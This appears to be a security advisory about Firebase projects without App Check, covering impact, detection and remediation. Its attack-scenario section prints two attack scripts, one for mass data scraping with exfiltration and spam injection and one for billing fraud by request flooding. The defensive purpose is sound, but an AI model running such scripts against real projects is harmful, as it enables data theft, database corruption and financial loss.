Skip to content

Firebase App Check: Not Enabled for Application

Name: App Check Not Enabled for Application

Applicable Services: Firebase App Check, Cloud Firestore, Firebase Realtime Database, Cloud Storage, Cloud Functions

Description

Critical Security Gap

The Configuration Flaw: Firebase App Check has not been enabled for one or more client applications (Android, iOS, Web) in the Firebase project, or no attestation providers are configured for existing applications.

Intended Behavior: App Check should be enabled for all client applications with appropriate attestation providers to verify that requests come from legitimate app instances and not from bots, scripts, or tampered applications.

The Risk: Without App Check, all backend Firebase services are vulnerable to abuse from unauthorized clients, leading to potential billing fraud, data manipulation, and service abuse.

Impact

Severe Business and Security Consequences

Missing App Check protection exposes applications to numerous attack vectors:

  • Billing Fraud: Attackers can generate excessive requests to inflate Firebase usage costs
  • Data Poisoning: Malicious actors can inject false or harmful data into your application
  • Service Abuse: Bots and scripts can overwhelm your backend resources
  • App Impersonation: Attackers can masquerade as legitimate users to access protected resources
  • Business Logic Bypass: Unauthorized clients can interact with your backend in unexpected ways
  • Resource Exhaustion: Denial of service attacks through unlimited resource consumption

Example Attack Scenarios

Exploit Scenario: Automated Data Scraping and Manipulation

This attack demonstrates how missing App Check protection enables large-scale data abuse.

The Vulnerable Configuration:

// Firebase project configuration - App Check NOT enabled
{
  "projectId": "vulnerable-app-12345",
  "appId": "1:123456789:web:abcdef123456",
  // No App Check configuration present
  "authDomain": "vulnerable-app-12345.firebaseapp.com",
  "databaseURL": "https://vulnerable-app-12345-default-rtdb.firebaseio.com/",
  "storageBucket": "vulnerable-app-12345.appspot.com"
}

Attack Steps: 1. Attacker discovers the Firebase project configuration from client-side code 2. Creates automated scripts using Firebase SDK to interact with backend services 3. Bypasses any rate limiting by creating multiple script instances 4. Systematically scrapes all accessible data from Firestore/Realtime Database 5. Injects malicious data to corrupt application state

Attack Code Example:

// Attacker's malicious script - no App Check token required
import { initializeApp } from 'firebase/app';
import { getFirestore, collection, getDocs, addDoc } from 'firebase/firestore';

const firebaseConfig = {
  // Victim's configuration extracted from client code
  projectId: "vulnerable-app-12345",
  authDomain: "vulnerable-app-12345.firebaseapp.com",
  // ... other config
};

const app = initializeApp(firebaseConfig);
const db = getFirestore(app);

// Mass data extraction
async function scrapeAllData() {
  const collections = ['users', 'posts', 'products', 'orders'];

  for (const collectionName of collections) {
    const querySnapshot = await getDocs(collection(db, collectionName));
    console.log(`Scraped ${querySnapshot.size} documents from ${collectionName}`);

    querySnapshot.forEach((doc) => {
      // Exfiltrate sensitive data
      storeDataOffsite(doc.id, doc.data());
    });
  }
}

// Data poisoning attack
async function poisonData() {
  const maliciousData = {
    title: "SPAM CONTENT",
    description: "Malicious content injected by attacker",
    price: -999999, // Corrupt pricing data
    isPromoted: true,
    tags: ["spam", "malicious", "exploit"]
  };

  // Inject spam content in bulk
  for (let i = 0; i < 1000; i++) {
    await addDoc(collection(db, "products"), {
      ...maliciousData,
      id: `spam_${i}`,
      timestamp: new Date()
    });
  }
}

// Execute attacks
scrapeAllData();
poisonData();

Outcome: Attacker successfully exfiltrates all accessible data and corrupts the database with spam content, all without any client verification.

Exploit Scenario: Billing Fraud Through Resource Exhaustion

This scenario shows how attackers can deliberately inflate Firebase usage costs.

The Attack Strategy: 1. Attacker identifies Firebase project without App Check protection 2. Creates multiple automated scripts to generate maximum billable operations 3. Focuses on expensive operations like Functions invocations and database writes 4. Runs attacks during peak pricing periods to maximize cost impact

Cost Amplification Script:

// Billing fraud attack script
async function amplifyBillingCosts() {
  const functionsApp = getFunctions(app, 'us-central1');
  const expensiveFunction = httpsCallable(functionsApp, 'expensiveDataProcessing');

  // Generate maximum function invocations
  const promises = [];
  for (let i = 0; i < 10000; i++) {
    promises.push(expensiveFunction({
      // Large payload to maximize processing time
      data: generateLargePayload(),
      processType: 'heavy_computation'
    }));

    // Add storage operations
    promises.push(uploadBytes(storageRef, generateLargeFile()));

    // Add database writes
    promises.push(addDoc(collection(db, 'billing_spam'), {
      id: i,
      timestamp: new Date(),
      data: generateLargeObject()
    }));
  }

  await Promise.all(promises);
}

Financial Impact: Attacker can generate thousands of dollars in Firebase usage charges within hours.

Detection

Check App Check Status

Firebase Console Method

  1. Go to Firebase Console → App Check
  2. Review the "Apps" section for each platform:
  3. Android Apps: Check if any apps show "Not configured"
  4. iOS Apps: Check if any apps show "Not configured"
  5. Web Apps: Check if any apps show "Not configured"
  6. Look for warning indicators next to app names
  7. Verify that each app has at least one attestation provider enabled

Using Firebase Admin SDK

const admin = require('firebase-admin');

async function checkAppCheckStatus() {
  try {
    // Get project configuration
    const projectConfig = await admin.projectManagement().getProjectConfig();
    const apps = await admin.projectManagement().listApps();

    console.log('App Check Status Audit:');
    console.log('==================');

    for (const app of apps) {
      const appConfig = await admin.projectManagement().getApp(app.appId);
      console.log(`\nApp: ${appConfig.displayName || appConfig.appId}`);
      console.log(`Platform: ${appConfig.platform}`);
      console.log(`App ID: ${appConfig.appId}`);

      try {
        // Check App Check configuration
        const appCheckConfig = await admin.appCheck().getAppCheckConfig(appConfig.appId);
        console.log(`App Check: ENABLED`);
        console.log(`Token TTL: ${appCheckConfig.ttlSeconds}s`);
      } catch (error) {
        if (error.code === 'NOT_FOUND') {
          console.log(`App Check: NOT CONFIGURED ⚠️`);
        } else {
          console.log(`App Check: ERROR - ${error.message}`);
        }
      }
    }

    return apps;
  } catch (error) {
    console.error('Error checking App Check status:', error);
  }
}

Using gcloud CLI

# List all apps in the project
gcloud firebase apps list

# Check App Check configuration for each app
gcloud app-check apps describe APP_ID

# Check which services have App Check enforcement enabled
gcloud app-check services list

Identify Vulnerable Endpoints

// Audit which Firebase services lack App Check protection
async function auditAppCheckCoverage() {
  const services = [
    'firestore.googleapis.com',
    'storage.googleapis.com', 
    'cloudfunctions.googleapis.com',
    'firebase-db.googleapis.com'
  ];

  const coverage = {};

  for (const service of services) {
    try {
      const config = await admin.appCheck().getServiceConfig(service);
      coverage[service] = {
        enforcement: config.enforcementMode,
        protected: config.enforcementMode === 'ENFORCED'
      };
    } catch (error) {
      coverage[service] = {
        enforcement: 'UNENFORCED',
        protected: false,
        error: error.message
      };
    }
  }

  console.log('Service Protection Status:');
  console.log(JSON.stringify(coverage, null, 2));

  return coverage;
}

Remediation

Step 1: Enable App Check for All Applications

Android Applications

# Enable App Check for Android using gcloud
gcloud app-check android-apps create APP_ID \
  --attestation-provider=play-integrity \
  --project=PROJECT_ID

Client-Side Integration:

// Android - Enable App Check with Play Integrity
FirebaseAppCheck.getInstance().installAppCheckProviderFactory(
    PlayIntegrityAppCheckProviderFactory.getInstance()
)

// Initialize before other Firebase services
FirebaseApp.initializeApp(this)

iOS Applications

# Enable App Check for iOS using gcloud
gcloud app-check ios-apps create APP_ID \
  --attestation-provider=app-attest \
  --project=PROJECT_ID

Client-Side Integration:

// iOS - Enable App Check with App Attest
let providerFactory = AppAttestProvider(app: FirebaseApp.app()!)
AppCheck.setAppCheckProviderFactory(providerFactory)

// Initialize before other Firebase services
FirebaseApp.configure()

Web Applications

# Enable App Check for Web using gcloud
gcloud app-check web-apps create APP_ID \
  --attestation-provider=recaptcha-enterprise \
  --recaptcha-site-key=SITE_KEY \
  --project=PROJECT_ID

Client-Side Integration:

// Web - Enable App Check with reCAPTCHA Enterprise
import { initializeApp } from 'firebase/app';
import { initializeAppCheck, ReCaptchaEnterpriseProvider } from 'firebase/app-check';

const app = initializeApp(firebaseConfig);

// Initialize App Check before other Firebase services
const appCheck = initializeAppCheck(app, {
  provider: new ReCaptchaEnterpriseProvider('6LcqXXXXXXXXXXXXXXXXXXXXXXXX'),
  isTokenAutoRefreshEnabled: true
});

Step 2: Configure Service Enforcement

Enable Enforcement for All Services

// Enable App Check enforcement for all Firebase services
async function enableAppCheckEnforcement() {
  const services = [
    'firestore.googleapis.com',
    'storage.googleapis.com',
    'cloudfunctions.googleapis.com', 
    'firebase-db.googleapis.com'
  ];

  for (const service of services) {
    try {
      await admin.appCheck().updateServiceConfig(service, {
        enforcementMode: 'ENFORCED'
      });
      console.log(`✅ Enabled App Check enforcement for ${service}`);
    } catch (error) {
      console.error(`❌ Failed to enable enforcement for ${service}:`, error);
    }
  }
}

Gradual Rollout Strategy

// Implement gradual enforcement to minimize user impact
async function gradualEnforcementRollout() {
  // Step 1: Enable unenforced mode to collect metrics
  await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
    enforcementMode: 'UNENFORCED'
  });
  console.log('📊 App Check metrics collection enabled');

  // Wait 24-48 hours to collect baseline metrics

  // Step 2: Enable enforcement during low-traffic periods
  await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
    enforcementMode: 'ENFORCED'
  });
  console.log('🛡️ App Check enforcement enabled');

  // Monitor for any issues and be ready to roll back if needed
}

Step 3: Implement Error Handling

Client-Side Error Handling

// Proper error handling for App Check failures
import { getToken } from 'firebase/app-check';

async function safeFirebaseOperation() {
  try {
    // Ensure App Check token is available
    const appCheckToken = await getToken(appCheck, /* forceRefresh= */ false);

    // Proceed with Firebase operation
    const result = await someFirebaseOperation();
    return result;

  } catch (error) {
    if (error.code === 'app-check/fetch-token-error') {
      // Handle App Check token failure
      console.error('App Check token failed:', error);
      showUserFriendlyError('Please update your app to the latest version');
    } else if (error.code === 'app-check/throttled') {
      // Handle rate limiting
      console.error('App Check throttled:', error);
      showUserFriendlyError('Too many requests. Please try again later');
    } else {
      // Handle other Firebase errors
      console.error('Firebase operation failed:', error);
      handleGeneralError(error);
    }
  }
}

Server-Side Verification

// Verify App Check tokens in Cloud Functions
const functions = require('firebase-functions');
const admin = require('firebase-admin');

exports.secureFunction = functions.https.onCall(async (data, context) => {
  // Verify App Check token
  if (!context.app) {
    throw new functions.https.HttpsError(
      'failed-precondition',
      'The function must be called from an App Check verified app.'
    );
  }

  // Proceed with secure operation
  return await processSecureRequest(data, context);
});

Step 4: Monitor and Alert

App Check Metrics Monitoring

// Monitor App Check token usage and failures
exports.monitorAppCheckMetrics = functions.pubsub.schedule('every 1 hours').onRun(async (context) => {
  try {
    // Get App Check metrics from Firebase Analytics or custom logging
    const metrics = await getAppCheckMetrics();

    // Check for anomalies
    if (metrics.failureRate > 0.05) { // 5% failure rate threshold
      await sendAlert({
        type: 'app_check_high_failure_rate',
        failureRate: metrics.failureRate,
        timestamp: new Date().toISOString()
      });
    }

    if (metrics.unverifiedRequests > 1000) {
      await sendAlert({
        type: 'app_check_unverified_requests',
        count: metrics.unverifiedRequests,
        timestamp: new Date().toISOString()
      });
    }

  } catch (error) {
    console.error('Error monitoring App Check metrics:', error);
  }
});

Prevention Best Practices

Implementation Guidelines

  1. Enable App Check Early: Implement App Check during initial Firebase setup, not as an afterthought
  2. Test Thoroughly: Test App Check in staging environments before production deployment
  3. Monitor Metrics: Set up monitoring for App Check token success/failure rates
  4. Plan for Failure: Implement graceful degradation when App Check tokens fail
  5. Regular Audits: Periodically review App Check configuration for all applications

Platform-Specific Considerations

Android

  • Use Play Integrity API for production apps
  • Consider SafetyNet for legacy compatibility
  • Test on both Google Play and sideloaded installations

iOS

  • Use App Attest for iOS 14+ devices
  • Fallback to DeviceCheck for older devices
  • Test on both App Store and TestFlight builds

Web

  • Use reCAPTCHA Enterprise for better protection
  • Configure appropriate challenge difficulty
  • Test with ad blockers and privacy tools

References